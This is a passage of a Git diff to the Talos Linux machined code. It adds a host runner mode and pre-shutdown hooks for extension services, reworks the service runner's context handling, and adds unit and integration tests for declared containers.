the host network wants; a container with a network +// namespace of its own has no business seeing them. +func WithHostNetworkFiles(enabled bool) Option { + return func(args *Options) { + args.HostNetworkFiles = enabled + } +} + // WithSelinuxLabel sets the SELinux label. func WithSelinuxLabel(label string) Option { return func(args *Options) { diff --git a/internal/app/machined/pkg/system/service.go b/internal/app/machined/pkg/system/service.go index 086a76c2f1c..53e136bb089 100644 --- a/internal/app/machined/pkg/system/service.go +++ b/internal/app/machined/pkg/system/service.go @@ -33,6 +33,11 @@ type Service interface { Volumes(runtime.Runtime) []string } +// PreShutdownService is a service which performs work before node shutdown. +type PreShutdownService interface { + PreShutdownFunc(context.Context, runtime.Runtime) error +} + // HealthcheckedService is a service which provides health check. type HealthcheckedService interface { // HealtFunc provides function that checks health of the service diff --git a/internal/app/machined/pkg/system/service_runner.go b/internal/app/machined/pkg/system/service_runner.go index 1b5d75dd90e..d98811f0df4 100644 --- a/internal/app/machined/pkg/system/service_runner.go +++ b/internal/app/machined/pkg/system/service_runner.go @@ -325,13 +325,25 @@ func (svcrunner *ServiceRunner) run(ctx context.Context, runnr runner.Runner) er errCh := make(chan error) go func() { - errCh <- runnr.Run(func(s events.ServiceState, msg string, args ...any) { + _, err := runnr.Run(ctx, func(s events.ServiceState, msg string, args ...any) { svcrunner.UpdateState(ctx, s, msg, args...) if _, healthSupported := svcrunner.service.(HealthcheckedService); healthSupported && s != events.StateRunning { svcrunner.healthState.Update(false, "service not running") } - }, svcrunner.pidRecorder) + }, func(pid int32) { + if err := svcrunner.pidRecorder(svcrunner.id, pid, false); err != nil { + log.Printf("error recording pid for %q: %v", svcrunner.id, err) + } + }) + + // clear the PID before reporting the result: delivering the result lets run() return and + // the service be restarted, and a later clear would destroy the new run's PID resource. + if pidErr := svcrunner.pidRecorder(svcrunner.id, 0, true); pidErr != nil { + log.Printf("error clearing pid for %q: %v", svcrunner.id, pidErr) + } + + errCh <- err }() if healthSvc, ok := svcrunner.service.(HealthcheckedService); ok { @@ -367,13 +379,7 @@ func (svcrunner *ServiceRunner) run(ctx context.Context, runnr runner.Runner) er select { case <-ctx.Done(): - err := runnr.Stop() - <-errCh - - if err != nil { - return fmt.Errorf("error stopping service: %w", err) - } case err := <-errCh: if err != nil { return fmt.Errorf("error running service: %w", err) diff --git a/internal/app/machined/pkg/system/service_runner_test.go b/internal/app/machined/pkg/system/service_runner_test.go index 17b655575b3..44d8d6fc0e6 100644 --- a/internal/app/machined/pkg/system/service_runner_test.go +++ b/internal/app/machined/pkg/system/service_runner_test.go @@ -20,7 +20,7 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/system" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" "github.com/siderolabs/talos/internal/app/machined/pkg/system/health" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/pkg/conditions" ) @@ -256,7 +256,6 @@ type blockedRunningRunner struct { allowRunning <-chan struct{} runningPublished chan<- struct{} exitCh chan error - stopOnce sync.Once } func (runnr *blockedRunningRunner) Open() error { @@ -267,19 +266,24 @@ func (runnr *blockedRunningRunner) Close() error { return nil } -func (runnr *blockedRunningRunner) Run(eventSink events.Recorder, _ pid.Recorder) error { - <-runnr.allowRunning +func (runnr *blockedRunningRunner) Run(ctx context.Context, eventSink events.Recorder, _ runner.OnStart) (runner.Status, error) { + select { + case <-runnr.allowRunning: + case <-ctx.Done(): + return runner.Status{}, nil + } eventSink(events.StateRunning, "Running") close(runnr.runningPublished) - return <-runnr.exitCh -} - -func (runnr *blockedRunningRunner) Stop() error { - runnr.stopOnce.Do(func() { close(runnr.exitCh) }) + status := runner.Status{Started: true} - return nil + select { + case err := <-runnr.exitCh: + return status, err + case <-ctx.Done(): + return status, nil + } } func (runnr *blockedRunningRunner) String() string { diff --git a/internal/app/machined/pkg/system/services/export_test.go b/internal/app/machined/pkg/system/services/export_test.go index 51f5c71cf35..31021de9e28 100644 --- a/internal/app/machined/pkg/system/services/export_test.go +++ b/internal/app/machined/pkg/system/services/export_test.go @@ -9,7 +9,11 @@ import ( "github.com/containerd/containerd/v2/pkg/oci" "github.com/cosi-project/runtime/pkg/state" + "github.com/opencontainers/runtime-spec/specs-go" "github.com/siderolabs/gen/xslices" + + "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" + runtimeres "github.com/siderolabs/talos/pkg/machinery/resources/runtime" ) // CreateOverlayMountRequests exposes createOverlayMountRequests for tests. @@ -31,3 +35,22 @@ func (svc *Extension) GetOCIOptions() ([]oci.SpecOpts, error) { func PromotionEndpoints(selfEndpoints, votingMemberEndpoints, discoveredEndpoints []string) []string { return promotionEndpoints(xslices.ToSetFunc(selfEndpoints, normalizeEtcdEndpoint), votingMemberEndpoints, discoveredEndpoints) } + +// HostProcessArgs exposes hostProcessArgs for tests. +func (svc *Extension) HostProcessArgs() (runner.Args, error) { + return svc.hostProcessArgs(nil) +} + +// SetPreShutdownRunnerFactory replaces the pre-shutdown process runner factory for tests. +func (svc *Extension) SetPreShutdownRunnerFactory(factory func(bool, *runner.Args, ...runner.Option) runner.Runner) { + svc.preShutdownRunnerFn = factory +} + +// ApplyExtensionServiceConfig exposes applyExtensionServiceConfig for tests. +func (svc *Extension) ApplyExtensionServiceConfig( + spec *runtimeres.ExtensionServiceConfigSpec, + mounts []specs.Mount, + envVars []string, +) ([]specs.Mount, []string, error) { + return svc.applyExtensionServiceConfig(spec, mounts, envVars) +} diff --git a/internal/app/machined/pkg/system/services/extension.go b/internal/app/machined/pkg/system/services/extension.go index 7d190c62750..c106efcb5d6 100644 --- a/internal/app/machined/pkg/system/services/extension.go +++ b/internal/app/machined/pkg/system/services/extension.go @@ -10,6 +10,7 @@ import ( "fmt" "os" "path/filepath" + "slices" "strings" "github.com/containerd/containerd/v2/core/containers" @@ -24,6 +25,7 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/containerd" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/process" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/restart" "github.com/siderolabs/talos/internal/pkg/capability" "github.com/siderolabs/talos/internal/pkg/environment" @@ -40,7 +42,8 @@ import ( type Extension struct { Spec extservices.Spec - overlayUnmounter func() error + overlayUnmounter func() error + preShutdownRunnerFn func(bool, *runner.Args, ...runner.Option) runner.Runner } // ID implements the Service interface. @@ -50,6 +53,11 @@ func (svc *Extension) ID(r runtime.Runtime) string { // PreFunc implements the Service interface. func (svc *Extension) PreFunc(ctx context.Context, r runtime.Runtime) error { + if svc.Spec.RunnerMode == extservices.RunnerModeHost { + // Host services run binaries installed directly into the Talos host filesystem. + return nil + } + // re-mount service rootfs as overlay rw mount to allow containerd to mount there /dev, /proc, etc. rootfsPath := filepath.Join(constants.ExtensionServiceRootfsPath, svc.Spec.Name) @@ -71,9 +79,102 @@ func (svc *Extension) PreFunc(ctx context.Context, r runtime.Runtime) error { // PostFunc implements the Service interface. func (svc *Extension) PostFunc(r runtime.Runtime, state events.ServiceState) (err error) { + if svc.overlayUnmounter == nil { + return nil + } + return svc.overlayUnmounter() } +// PreShutdownFunc runs the configured node shutdown hook while the service is still running. +func (svc *Extension) PreShutdownFunc(ctx context.Context, r runtime.Runtime) error { + if svc.Spec.PreShutdown == nil { + return nil + } + + envVars, err := svc.preShutdownEnvironment(ctx, r) + if err != nil { + return err + } + + hookCtx, cancel := context.WithTimeout(ctx, svc.Spec.PreShutdown.Timeout) + defer cancel() + + hookRunner := svc.preShutdownRunner(r, envVars) + if err = hookRunner.Open(); err != nil { + return fmt.Errorf("failed to open pre-shutdown hook runner: %w", err) + } + + defer hookRunner.Close() //nolint:errcheck + + _, err = hookRunner.Run(hookCtx, events.NullRecorder, nil) + + return svc.preShutdownError(err, hookCtx.Err()) +} + +func (svc *Extension) preShutdownEnvironment(ctx context.Context, r runtime.Runtime) ([]string, error) { + envVars, err := svc.parseEnvironment() + if err != nil { + return nil, err + } + + configSpec, err := safe.StateGetByID[*runtimeres.ExtensionServiceConfig](ctx, r.State().V1Alpha2().Resources(), svc.Spec.Name) + if state.IsNotFoundError(err) { + return slices.Concat(envVars, environment.Get(r.Config())), nil + } + + if err != nil { + return nil, err + } + + _, envVars, err = svc.applyExtensionServiceConfig(configSpec.TypedSpec(), nil, envVars) + if err != nil { + return nil, err + } + + return slices.Concat(envVars, environment.Get(r.Config())), nil +} + +func (svc *Extension) preShutdownRunner(r runtime.Runtime, envVars []string) runner.Runner { + logToConsole := svc.Spec.LogToConsole + if r.Config() != nil && r.Config().Debug() { + logToConsole = true + } + + runnerFn := svc.preShutdownRunnerFn + if runnerFn == nil { + runnerFn = process.NewRunner + } + + return runnerFn( + logToConsole, + &runner.Args{ + ID: svc.ID(r) + "-pre-shutdown", + ProcessArgs: append([]string{svc.Spec.PreShutdown.Entrypoint}, svc.Spec.PreShutdown.Args...), + }, + runner.WithLoggingManager(r.Logging()), + runner.WithEnv(envVars), + runner.WithCgroupPath(filepath.Join(constants.CgroupExtensions, svc.Spec.Name)), + runner.WithGracefulShutdownTimeout(0), + runner.WithOOMScoreAdj(-600), + ) +} + +func (svc *Extension) preShutdownError(runErr, contextErr error) error { + switch contextErr { + case context.DeadlineExceeded: + return fmt.Errorf("pre-shutdown hook timed out after %s: %w", svc.Spec.PreShutdown.Timeout, contextErr) + case context.Canceled: + return fmt.Errorf("pre-shutdown hook canceled: %w", contextErr) + } + + if runErr != nil { + return fmt.Errorf("pre-shutdown hook failed: %w", runErr) + } + + return nil +} + // Condition implements the Service interface. func (svc *Extension) Condition(r runtime.Runtime) conditions.Condition { var conds []conditions.Condition @@ -105,7 +206,11 @@ func (svc *Extension) Condition(r runtime.Runtime) conditions.Condition { // DependsOn implements the Service interface. func (svc *Extension) DependsOn(r runtime.Runtime) []string { - deps := []string{"containerd"} + var deps []string + + if svc.Spec.RunnerMode == extservices.RunnerModeContainer { + deps = append(deps, "containerd") + } for _, dep := range svc.Spec.Depends { if dep.Service != "" { @@ -165,47 +270,19 @@ func (svc *Extension) getOCIOptions(envVars []string, mounts []specs.Mount) []oc // //nolint:gocyclo func (svc *Extension) Runner(r runtime.Runtime) (runner.Runner, error) { - args := runner.Args{ - ID: svc.ID(r), - ProcessArgs: append([]string{svc.Spec.Container.Entrypoint}, svc.Spec.Container.Args...), - } - - for _, mount := range svc.Spec.Container.Mounts { - if _, err := os.Stat(mount.Source); err == nil { - // already exists, skip - continue - } else if !errors.Is(err, os.ErrNotExist) { - return nil, err - } - - if err := os.MkdirAll(mount.Source, 0o700); err != nil { - return nil, err - } - } - - mounts := append([]specs.Mount{}, svc.Spec.Container.Mounts...) - - mounts = bindMountContainerMarker(mounts) - envVars, err := svc.parseEnvironment() if err != nil { return nil, err } + mounts := append([]specs.Mount{}, svc.Spec.Container.Mounts...) + configSpec, err := safe.StateGetByID[*runtimeres.ExtensionServiceConfig](context.Background(), r.State().V1Alpha2().Resources(), svc.Spec.Name) if err == nil { - spec := configSpec.TypedSpec() - - for _, ext := range spec.Files { - mounts = append(mounts, specs.Mount{ - Source: filepath.Join(constants.ExtensionServiceUserConfigPath, svc.Spec.Name, strings.ReplaceAll(strings.TrimPrefix(ext.MountPath, "/"), "/", "-")), - Destination: ext.MountPath, - Type: "bind", - Options: []string{"ro", "bind"}, - }) + mounts, envVars, err = svc.applyExtensionServiceConfig(configSpec.TypedSpec(), mounts, envVars) + if err != nil { + return nil, err } - - envVars = append(envVars, spec.Environment...) } else if !state.IsNotFoundError(err) { return nil, err } @@ -221,8 +298,6 @@ func (svc *Extension) Runner(r runtime.Runtime) (runner.Runner, error) { restartType = restart.UntilSuccess } - ociSpecOpts := svc.getOCIOptions(envVars, mounts) - logToConsole := false if r.Config() != nil { @@ -233,6 +308,47 @@ func (svc *Extension) Runner(r runtime.Runtime) (runner.Runner, error) { logToConsole = true } + if svc.Spec.RunnerMode == extservices.RunnerModeHost { + args, err := svc.hostProcessArgs(r) + if err != nil { + return nil, err + } + + return restart.New( + process.NewRunner( + logToConsole, + &args, + runner.WithLoggingManager(r.Logging()), + runner.WithEnv(slices.Concat(envVars, environment.Get(r.Config()))), + runner.WithCgroupPath(filepath.Join(constants.CgroupExtensions, svc.Spec.Name)), + runner.WithOOMScoreAdj(-600), + ), + restart.WithType(restartType), + ), nil + } + + args := runner.Args{ + ID: svc.ID(r), + ProcessArgs: append([]string{svc.Spec.Container.Entrypoint}, svc.Spec.Container.Args...), + } + + for _, mount := range svc.Spec.Container.Mounts { + if _, err = os.Stat(mount.Source); err == nil { + // already exists, skip + continue + } else if !errors.Is(err, os.ErrNotExist) { + return nil, err + } + + if err = os.MkdirAll(mount.Source, 0o700); err != nil { + return nil, err + } + } + + mounts = bindMountContainerMarker(mounts) + + ociSpecOpts := svc.getOCIOptions(envVars, mounts) + return restart.New( containerd.NewRunner( logToConsole, @@ -249,6 +365,38 @@ func (svc *Extension) Runner(r runtime.Runtime) (runner.Runner, error) { ), nil } +func (svc *Extension) hostProcessArgs(r runtime.Runtime) (runner.Args, error) { + if !filepath.IsAbs(svc.Spec.Container.Entrypoint) { + return runner.Args{}, fmt.Errorf("host runner entrypoint must be an absolute path: %q", svc.Spec.Container.Entrypoint) + } + + return runner.Args{ + ID: svc.ID(r), + ProcessArgs: append([]string{svc.Spec.Container.Entrypoint}, svc.Spec.Container.Args...), + }, nil +} + +func (svc *Extension) applyExtensionServiceConfig( + spec *runtimeres.ExtensionServiceConfigSpec, + mounts []specs.Mount, + envVars []string, +) ([]specs.Mount, []string, error) { + if svc.Spec.RunnerMode == extservices.RunnerModeHost && len(spec.Files) > 0 { + return nil, nil, errors.New("extension service config files are not supported in host runner mode") + } + + for _, ext := range spec.Files { + mounts = append(mounts, specs.Mount{ + Source: filepath.Join(constants.ExtensionServiceUserConfigPath, svc.Spec.Name, strings.ReplaceAll(strings.TrimPrefix(ext.MountPath, "/"), "/", "-")), + Destination: ext.MountPath, + Type: "bind", + Options: []string{"ro", "bind"}, + }) + } + + return mounts, append(envVars, spec.Environment...), nil +} + // APIRestartAllowed implements APIRestartableService. func (svc *Extension) APIRestartAllowed(runtime.Runtime) bool { return true diff --git a/internal/app/machined/pkg/system/services/extension_test.go b/internal/app/machined/pkg/system/services/extension_test.go index b1b66e379d5..b9436d9e85b 100644 --- a/internal/app/machined/pkg/system/services/extension_test.go +++ b/internal/app/machined/pkg/system/services/extension_test.go @@ -5,8 +5,13 @@ package services_test import ( + "context" + "errors" + "log" "os" + "path/filepath" "testing" + "time" "github.com/containerd/containerd/v2/core/containers" "github.com/containerd/containerd/v2/core/snapshots" @@ -14,16 +19,63 @@ import ( "github.com/containerd/containerd/v2/pkg/oci" "github.com/golang/mock/gomock" "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime/logging" + runtimev1alpha1 "github.com/siderolabs/talos/internal/app/machined/pkg/runtime/v1alpha1" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/internal/app/machined/pkg/system/services" "github.com/siderolabs/talos/internal/app/machined/pkg/system/services/mocks" + "github.com/siderolabs/talos/pkg/machinery/constants" extservices "github.com/siderolabs/talos/pkg/machinery/extensions/services" + runtimeres "github.com/siderolabs/talos/pkg/machinery/resources/runtime" ) type MockClient struct { controller *gomock.Controller } +type preShutdownRunner struct { + run func(context.Context) error + opened bool + closed bool +} + +func (mock *preShutdownRunner) String() string { + return "pre-shutdown-test-runner" +} + +func (mock *preShutdownRunner) Open() error { + mock.opened = true + + return nil +} + +func (mock *preShutdownRunner) Run(ctx context.Context, _ events.Recorder, _ runner.OnStart) (runner.Status, error) { + return runner.Status{Started: true}, mock.run(ctx) +} + +func (mock *preShutdownRunner) Close() error { + mock.closed = true + + return nil +} + +func newExtensionRuntime(t *testing.T) runtime.Runtime { + t.Helper() + t.Setenv("PLATFORM", "container") + + state, err := runtimev1alpha1.NewState() + require.NoError(t, err) + + eventSink := runtimev1alpha1.NewEvents(1000, 10) + loggingManager := logging.NewCircularBufferLoggingManager(log.New(t.Output(), "fallback logger: ", log.Flags())) + + return runtimev1alpha1.NewRuntime(state, eventSink, loggingManager) +} + func (c *MockClient) SnapshotService(snapshotterName string) snapshots.Snapshotter { return mocks.NewMockSnapshotter(c.controller) } @@ -186,3 +238,162 @@ func TestGetOCIOptions(t *testing.T) { assert.Equal(t, []string{"FOO=BARFROMENVFILE"}, spec.Process.Env) }) } + +func TestExtensionHostRunnerMode(t *testing.T) { + svc := &services.Extension{ + Spec: extservices.Spec{ + Name: "hello", + RunnerMode: extservices.RunnerModeHost, + Container: extservices.Container{ + Entrypoint: "/usr/local/bin/hello", + Args: []string{"--log=debug"}, + }, + Depends: []extservices.Dependency{{Service: "networkd"}}, + }, + } + + args, err := svc.HostProcessArgs() + require.NoError(t, err) + + assert.Equal(t, "ext-hello", args.ID) + assert.Equal(t, []string{"/usr/local/bin/hello", "--log=debug"}, args.ProcessArgs) + assert.Equal(t, []string{"networkd"}, svc.DependsOn(nil)) + assert.NoError(t, svc.PostFunc(nil, 0)) +} + +func TestExtensionPreShutdown(t *testing.T) { + rt := newExtensionRuntime(t) + mockRunner := &preShutdownRunner{run: func(context.Context) error { return nil }} + + var ( + gotArgs runner.Args + gotOpts runner.Options + ) + + svc := &services.Extension{ + Spec: extservices.Spec{ + Name: "hello", + RunnerMode: extservices.RunnerModeHost, + Container: extservices.Container{ + Environment: []string{"MODE=host"}, + }, + PreShutdown: &extservices.Command{ + Entrypoint: "/usr/local/bin/hello-shutdown", + Args: []string{"--graceful"}, + Timeout: time.Minute, + }, + }, + } + + svc.SetPreShutdownRunnerFactory(func(_ bool, args *runner.Args, setters ...runner.Option) runner.Runner { + gotArgs = *args + + opts := runner.DefaultOptions() + for _, setter := range setters { + setter(opts) + } + + gotOpts = *opts + + return mockRunner + }) + + require.NoError(t, svc.PreShutdownFunc(t.Context(), rt)) + assert.True(t, mockRunner.opened) + assert.True(t, mockRunner.closed) + assert.Equal(t, "ext-hello-pre-shutdown", gotArgs.ID) + assert.Equal(t, []string{"/usr/local/bin/hello-shutdown", "--graceful"}, gotArgs.ProcessArgs) + assert.Contains(t, gotOpts.Env, "MODE=host") + assert.Equal(t, filepath.Join(constants.CgroupExtensions, "hello"), gotOpts.CgroupPath) + assert.Zero(t, gotOpts.GracefulShutdownTimeout) +} + +func TestExtensionPreShutdownFailure(t *testing.T) { + rt := newExtensionRuntime(t) + svc := &services.Extension{ + Spec: extservices.Spec{ + Name: "hello", + RunnerMode: extservices.RunnerModeHost, + PreShutdown: &extservices.Command{ + Entrypoint: "/usr/local/bin/hello-shutdown", + Timeout: time.Minute, + }, + }, + } + + mockRunner := &preShutdownRunner{run: func(context.Context) error { return errors.New("exit 1") }} + + svc.SetPreShutdownRunnerFactory(func(bool, *runner.Args, ...runner.Option) runner.Runner { return mockRunner }) + + err := svc.PreShutdownFunc(t.Context(), rt) + require.ErrorContains(t, err, "pre-shutdown hook failed: exit 1") + assert.True(t, mockRunner.closed) +} + +func TestExtensionPreShutdownTimeout(t *testing.T) { + rt := newExtensionRuntime(t) + svc := &services.Extension{ + Spec: extservices.Spec{ + Name: "hello", + RunnerMode: extservices.RunnerModeHost, + PreShutdown: &extservices.Command{ + Entrypoint: "/usr/local/bin/hello-shutdown", + Timeout: time.Nanosecond, + }, + }, + } + + mockRunner := &preShutdownRunner{run: func(ctx context.Context) error { + <-ctx.Done() + + return nil + }} + + svc.SetPreShutdownRunnerFactory(func(bool, *runner.Args, ...runner.Option) runner.Runner { return mockRunner }) + + err := svc.PreShutdownFunc(t.Context(), rt) + require.ErrorContains(t, err, "pre-shutdown hook timed out after 1ns: context deadline exceeded") + assert.True(t, mockRunner.closed) +} + +func TestExtensionHostRunnerConfig(t *testing.T) { + svc := &services.Extension{ + Spec: extservices.Spec{ + Name: "hello", + RunnerMode: extservices.RunnerModeHost, + }, + } + + mounts, env, err := svc.ApplyExtensionServiceConfig(&runtimeres.ExtensionServiceConfigSpec{ + Environment: []string{"FROM_CONFIG=true"}, + }, nil, []string{"FROM_MANIFEST=true"}) + require.NoError(t, err) + assert.Empty(t, mounts) + assert.Equal(t, []string{"FROM_MANIFEST=true", "FROM_CONFIG=true"}, env) + + _, _, err = svc.ApplyExtensionServiceConfig(&runtimeres.ExtensionServiceConfigSpec{ + Files: []runtimeres.ExtensionServiceConfigFile{{MountPath: "/etc/hello.conf"}}, + }, nil, nil) + assert.EqualError(t, err, "extension service config files are not supported in host runner mode") +} + +func TestExtensionContainerRunnerModeDefault(t *testing.T) { + svc := &services.Extension{} + + assert.Equal(t, []string{"containerd"}, svc.DependsOn(nil)) +} + +func TestExtensionHostRunnerRejectsRelativeEntrypoint(t *testing.T) { + svc := &services.Extension{ + Spec: extservices.Spec{ + Name: "hello", + RunnerMode: extservices.RunnerModeHost, + Container: extservices.Container{ + Entrypoint: "usr/local/bin/hello", + }, + }, + } + + _, err := svc.HostProcessArgs() + assert.EqualError(t, err, "host runner entrypoint must be an absolute path: \"usr/local/bin/hello\"") +} diff --git a/internal/app/machined/pkg/system/services/machined.go b/internal/app/machined/pkg/system/services/machined.go index 93510713fc6..a9146ad3942 100644 --- a/internal/app/machined/pkg/system/services/machined.go +++ b/internal/app/machined/pkg/system/services/machined.go @@ -220,6 +220,13 @@ func (s *machinedService) Main(ctx context.Context, _ runtime.Runtime, logWriter // allow processes forked inside the container to access apid as well AllowNamespaceMatch: true, }, + { + // containers with security.machinedAccess enabled. + Pattern: constants.ContainerServicePIDPrefix + "*", + AllowedRoles: role.All, + // allow processes forked inside the container to access machined as well + AllowNamespaceMatch: true, + }, }, } diff --git a/internal/app/machined/pkg/system/system.go b/internal/app/machined/pkg/system/system.go index 285ebed5753..2b6ecd57925 100644 --- a/internal/app/machined/pkg/system/system.go +++ b/internal/app/machined/pkg/system/system.go @@ -246,6 +246,28 @@ func (s *singleton) Shutdown(ctx context.Context) { _ = s.stopServices(ctx, nil, true) //nolint:errcheck } +// PreShutdown runs node shutdown hooks for all running services. +func (s *singleton) PreShutdown(ctx context.Context) error { + var multiErr *multierror.Error + + for _, svcrunner := range s.List() { + if svcrunner.GetState() != events.StateRunning { + continue + } + + service, ok := svcrunner.service.(PreShutdownService) + if !ok { + continue + } + + if err := service.PreShutdownFunc(ctx, s.runtime); err != nil { + multiErr = multierror.Append(multiErr, fmt.Errorf("service %q pre-shutdown hook failed: %w", svcrunner.id, err)) + } + } + + return multiErr.ErrorOrNil() +} + // Stop will initiate a shutdown of the specified service. func (s *singleton) Stop(ctx context.Context, serviceIDs ...string) (err error) { if len(serviceIDs) == 0 { diff --git a/internal/integration/api/common.go b/internal/integration/api/common.go index bd68e260ac0..217aecaac93 100644 --- a/internal/integration/api/common.go +++ b/internal/integration/api/common.go @@ -236,7 +236,14 @@ func (suite *CommonSuite) TestBaseOCISpec() { suite.T().Skip("skipping ulimits test since provisioner is docker") } - node := suite.RandomDiscoveredNodeInternalIP(machine.TypeWorker) + nodeType := machine.TypeWorker + + if suite.BGPCLOSEnabled { + // Keep the CRI restart away from the worker used by the BGP CLOS tests. + nodeType = machine.TypeControlPlane + } + + node := suite.RandomDiscoveredNodeInternalIP(nodeType) k8sNode, err := suite.GetK8sNodeByInternalIP(suite.ctx, node) suite.Require().NoError(err) diff --git a/internal/integration/api/containers.go b/internal/integration/api/containers.go index 0ce0892e47f..d5a38abea45 100644 --- a/internal/integration/api/containers.go +++ b/internal/integration/api/containers.go @@ -8,17 +8,71 @@ package api import ( "context" + "errors" + "fmt" + "io" + "math/rand" + "path/filepath" + "slices" + "strings" + "testing" "time" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/resource/rtestutils" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/stretchr/testify/assert" + "github.com/siderolabs/talos/internal/integration/base" "github.com/siderolabs/talos/pkg/images" "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" - "github.com/siderolabs/talos/pkg/machinery/config/machine" + configcontainer "github.com/siderolabs/talos/pkg/machinery/config/config" + blockcfg "github.com/siderolabs/talos/pkg/machinery/config/types/block" + containercfg "github.com/siderolabs/talos/pkg/machinery/config/types/container" "github.com/siderolabs/talos/pkg/machinery/constants" + "github.com/siderolabs/talos/pkg/machinery/resources/block" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + runtimeres "github.com/siderolabs/talos/pkg/machinery/resources/runtime" ) -// ContainersSuite ... +const ( + // containerPauseImage never writes anything and never exits, which is what the lifecycle tests + // want. + // + // Note: this image is part of the default image cache in `talosctl image integration`. + containerPauseImage = images.DefaultSandboxImage + + // containerShellImage is used wherever a test needs the container to run a command and say + // something about itself. The pause image has no shell and produces no output, so it cannot + // carry any assertion about what the container actually got. + // + // Note: this image is part of the default image cache in `talosctl image integration`. + containerShellImage = "docker.io/library/alpine:3.23" + + // containerSocatImage carries a unix-socket client, needed for machined socket access testing. + // + // Note: this image is part of the default image cache in `talosctl image integration`. + containerSocatImage = "docker.io/alpine/socat:1.8.1.3" +) + +// containerStartTimeout covers an image pull on a cold node plus the controller chain. +const containerStartTimeout = 5 * time.Minute + +// To help track finalizers. +const containerMountControllerName = "containers.MountController" + +// containerMountRequestID builds the ID of the volume mount request, and so of the resulting +// block.VolumeMountStatus, for one container mounting one user volume. +// +// Per container rather than per volume, which is what lets two containers hold the same volume +// independently. +func containerMountRequestID(containerName, volumeName string) string { + return containerMountControllerName + "/" + containerName + "/" + constants.UserVolumePrefix + volumeName +} + +// ContainersSuite verifies containers declared via ContainerConfig. type ContainersSuite struct { base.APISuite @@ -33,7 +87,8 @@ func (suite *ContainersSuite) SuiteName() string { // SetupTest ... func (suite *ContainersSuite) SetupTest() { - suite.ctx, suite.ctxCancel = context.WithTimeout(context.Background(), time.Minute) + // Enough for an image pull; the reboot test extends its own deadline. + suite.ctx, suite.ctxCancel = context.WithTimeout(context.Background(), 10*time.Minute) } // TearDownTest ... @@ -43,31 +98,1423 @@ func (suite *ContainersSuite) TearDownTest() { } } -// TestSandboxImage verifies sandbox image. -func (suite *ContainersSuite) TestSandboxImage() { - node := suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane) - ctx := client.WithNode(suite.ctx, node) +// TestContainerLifecycle covers the life of a declared container that does not involve a reboot: it +// starts, it is replaced rather than mutated when its configuration changes, and it is gone once +// that configuration is removed. +func (suite *ContainersSuite) TestContainerLifecycle() { + ctx, name, _ := suite.setupContainer("lifecycle") + + suite.applyContainers(ctx, suite.newContainer(name, containerPauseImage)) + + oldInstanceID, oldInstance := suite.assertContainerRunning(ctx, name, "initial start") + + suite.T().Logf("adding an environment variable to container config %q", name) + + const envVar = "FOO=BAR" + + updated := suite.newContainer(name, containerPauseImage) + updated.ContainerEnvironment = []string{envVar} + + suite.applyContainers(ctx, updated) + + rtestutils.AssertNoResource[*containers.ContainerInstanceSpec](ctx, suite.T(), suite.Client.COSI, oldInstanceID) + + newInstanceID, newInstance := suite.assertContainerRunning(ctx, name, "after the environment change") + + suite.Assert().NotEqual(oldInstanceID, newInstanceID, "instance was reused across the change") + suite.Assert().Greater(newInstance.Generation, oldInstance.Generation, + "expected a generation later than %d, got %d", oldInstance.Generation, newInstance.Generation) + suite.Assert().NotEqual(oldInstance.PID, newInstance.PID, + "container %q is still running as PID %d, so it was not restarted", name, oldInstance.PID) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, newInstanceID, + func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Contains(instance.TypedSpec().Environment, envVar) + }) + + suite.T().Logf("removing container config %q", name) + + suite.RemoveMachineConfigDocumentsByName(ctx, containercfg.ContainerConfigKind, name) + + rtestutils.AssertNoResource[*containers.ContainerSpec](ctx, suite.T(), suite.Client.COSI, name) + + suite.assertNoContainerdContainer(ctx, name) +} + +// TestSurvivesReboot verifies that a declared container is stopped on the way down and started again +// as a new task on the way up. +func (suite *ContainersSuite) TestSurvivesReboot() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") + } + + if !suite.Capabilities().SupportsReboot { + suite.T().Skip("cluster doesn't support reboots") + } + + // A reboot is slower than anything else in this suite, so this test gets a deadline of its own. + suite.ctxCancel() + suite.ctx, suite.ctxCancel = context.WithTimeout(context.Background(), 20*time.Minute) + + ctx, name, node := suite.setupContainer("reboot") + + suite.applyContainers(ctx, suite.newContainer(name, containerPauseImage)) + + _, beforeInstance := suite.assertContainerRunning(ctx, name, "before the reboot") + + suite.T().Logf("rebooting node %s", node) + + // AssertRebooted reads boot_id either side of the reboot, so the reboot itself is verified here. + suite.AssertRebooted( + suite.ctx, node, func(nodeCtx context.Context) error { + return base.IgnoreGRPCUnavailable(suite.Client.Reboot(nodeCtx)) + }, 10*time.Minute, + ) + + _, afterInstance := suite.assertContainerRunning(ctx, name, "after the reboot") + + // What came back is a new task, not the one that was running before the node went down. + // + // Neither the instance ID nor the generation can show this: COSI state does not survive a reboot, + // so the instance controller finds no instances on the way up and numbers the first one 0 again, + // reusing the ID it had before. StartedAt is the one field that distinguishes them. + // + // Compared for inequality rather than order: the node's clock can step backwards early in boot, + // before it has synced, which is the whole reason dependsOn.time exists. Requiring the later + // timestamp to be greater would turn that into a failure of this test. + suite.Assert().NotEqual(beforeInstance.StartedAt, afterInstance.StartedAt, + "container %q reports the 